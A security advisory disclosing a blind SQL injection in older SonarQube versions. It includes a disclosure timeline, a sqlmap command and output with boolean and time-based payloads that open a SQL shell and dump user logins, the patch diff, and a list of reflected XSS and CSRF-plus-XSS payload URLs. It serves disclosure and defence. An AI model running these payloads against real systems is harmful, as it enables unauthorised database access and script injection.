SonarQube/Sonar SQL Injection

Last year I found a exploitable boolean-based / AND/OR time-based blind SQL injection vulnerability in Sonatype SonarQube >=3.4 and <3.6.1.

CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:C)
Overall Score: 9
SonarQube (formerly Sonar) is an open source platform for Continuous Inspection of code quality.

This is the first public advisory of the issue. This advisory additionally includes a list of fixed and undisclosed XSS bugs in Sonar >=3.5.1.

Timeline

  • 2013-04-31 Filled a bug in Sonar Jira [1]
  • 2013-05-01 SQL Injection reported via email to Freddy Mallet from Sonatype 
  • 2013-05-07 Bug confirmed by Freddy Mallet 
  • 2013-06-24
  • Simon Brandhof started working on the issue
  • they planned to fix the bug in August 2013 with version 3.7
  • Issue silently fixed in their GitHub repo [2]
  • I told them that it is a bad idea to have a SQL injection fixed in the code without any advisory for the community.* 2013-06-28 They told me, they release in the next days a new version containing the fix
  • 2013-07-12 Sonar 3.6.1 released without security advisory or any mention of the bug in the Release Notes

In the last months they decided to delete the issue from Jira [4] but someone or a automated process added the issue to the OVSDB [5], but without any specific information about the bug.After I figured out, that the bug is fixed in the Sonar GitHub repo I notified a friend from the Apache Software Foundation, because https://analysis.apache.org was running the vulnerable version of Sonar and the site was potentially in risk. Probably that's the reason why the bug is listed at OVSDB.

SQL Injection details The vulnerable part is the measure search function:

/measures/search?qualifiers%5B%5D=BRC&c1_op=eq&c2_op=eq&c3_op=eq&search=Search

When we change the qualifiers[] GET parameter to a single back-tick ('), we can see a SQL syntax error in Sonar's logfile:

2013.05.01 12:34:57 ERROR o.s.MEASURE_FILTER  Fail to execute measure filter: MeasureFilterContext[filter={qualifiers='|c1_op=eq|c2_op=eq|c3_op=eq|display=list|cols=metric:alert_statusnamedatemetric:nclocmetric:violationslinks|sort=name|asc=true|pageSize=100},sql=SELECT s.id, s.project_id, s.root_project_id, p.long_name FROM snapshots s INNER JOIN projects p ON s.project_id=p.id  WHERE  s.status='P' AND s.islast=true AND p.copy_resource_id IS NULL  AND s.qualifier IN  (''') ,user=<null>]
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1

From here it's easy to exploit:

nils@mac sqlmap]$ ./sqlmap.py -u 'http://192.168.4.107:9000/measures/search?qualifiers%5B%5D=BRC&c1_op=eq&c2_op=eq&c3_op=eq&search=Search' -p 'qualifiers%5B%5D' --level 3 --risk 3 --sql-shell --dbms=mysql

[..]

GET parameter 'qualifiers[]' is vulnerable. 

Do you want to keep testing the others (if any)? [y/N] n

sqlmap identified the following injection points with a total of 173 HTTP(s) requests:

---

Place: GET
Parameter: qualifiers[]    
    Type: boolean-based blind    
    Title: AND boolean-based blind - WHERE or HAVING clause        Payload: qualifiers[]=BRC') AND 8295=8295 AND ('KiEs'='KiEs&c1_op=eq&c2_op=eq&c3_op=eq&search=Search    
    
    Type: AND/OR time-based blind    
    Title: MySQL > 5.0.11 AND time-based blind    
    Payload: qualifiers[]=BRC') AND SLEEP(5) AND ('QxFe'='QxFe&c1_op=eq&c2_op=eq&c3_op=eq&search=Search
    
---

[14:23:09] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11

Now we have a SQL shell to our database and we can run any query against the database:

[14:23:09] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select login from users;
[14:23:28] [INFO] fetching SQL SELECT statement query output: 'select login from users'
[14:23:28] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:23:28] [INFO] retrieved: 1 the SQL query provided can return 1 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit> a

[14:23:32] [INFO] retrieved: adminselect login from users; [1]:[*] adminsql-shell>

The fix

@@ -210,9 +210,16 @@ private void appendResourceNameCondition(StringBuilder sb) {
    }
  
    private static void appendInStatement(List<String> values, StringBuilder to) {
 -    to.append(" ('");
 -    to.append(StringUtils.join(values, "','"));
 -    to.append("') ");
 +    to.append(" (");
 +    for (int i=0 ; i<values.size() ; i++) {
 +      if (i>0) {
 +        to.append(",");
 +      }
 +      to.append("'");
 +      to.append(StringEscapeUtils.escapeSql(values.get(i)));
 +      to.append("'");
 +    }
 +    to.append(") ");
    }

XSS in Sonar/SonarQube

In my discussions with Sonatype I've reported a lot of reflective and persistent XSS bugs and issues with missing CSRF tokens to the team. All issues are fixed silently fixed without a release note or a security advisory. I believe everything is fixed in Sonar >=3.7.

Reflective XSS:

/confirm?url=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

/dependencies/index?search="><script>alert(1)</script>
/measures/search?qualifiers%5B%5D=</script><script>alert(1)</script>&c1_op=eq&c2_op=eq&c3_op=eq&search=Search

/reviews/index?review_id=846&statuses%5B%5D=REOPENED&severities%5B%5D=&projects%5B%5D=&author_login=&assignee_login="><script>alert(1)</script>&false_positives=without&sort=&asc=false&commit=Search (author_login as well)

Reflective XSS in POST requests:

POST /roles/projects?qualifier=TRK HTTP/1.1
[..]

q="><script>alert(1)</script>POST /roles/projects?q=c [..]qualifier="><script>alert(1)</script>

Missing CSRF protection with XSS in result:

/groups/create?group%5Bname%5D=<script>alert(1)</script>&group%5Bdescription%5D=foo&commit=Create

POST /roles/edit_users?redirect=global HTTP/1.1
[..]

role="><script>alert(1)</script>3\. 

Summary

Upgrade always to the latest version of SonarQube. Don't trust the changelog! Probably there is always a security fixed inside the package. Run your SonarQube instance only in your local network to prevent access from the public internet. Setup the SonarQube user management to prevent access from unauthorised users.